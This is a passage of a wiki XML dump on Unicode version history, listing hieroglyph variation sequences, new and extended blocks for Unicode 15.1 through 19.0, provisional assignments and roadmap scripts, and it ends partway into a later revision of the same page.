|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>888l6j4lc58xym8wr1ibbzsb6laxgmh</sha1>
    </revision>
    <revision>
      <id>4670496</id>
      <parentid>4670495</parentid>
      <timestamp>2026-09-16T19:15:38Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* New blocks */</comment>
      <origin>4670496</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="129812" sha1="pk1y7jykud9z4ok99iee5namk1ygl9b" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
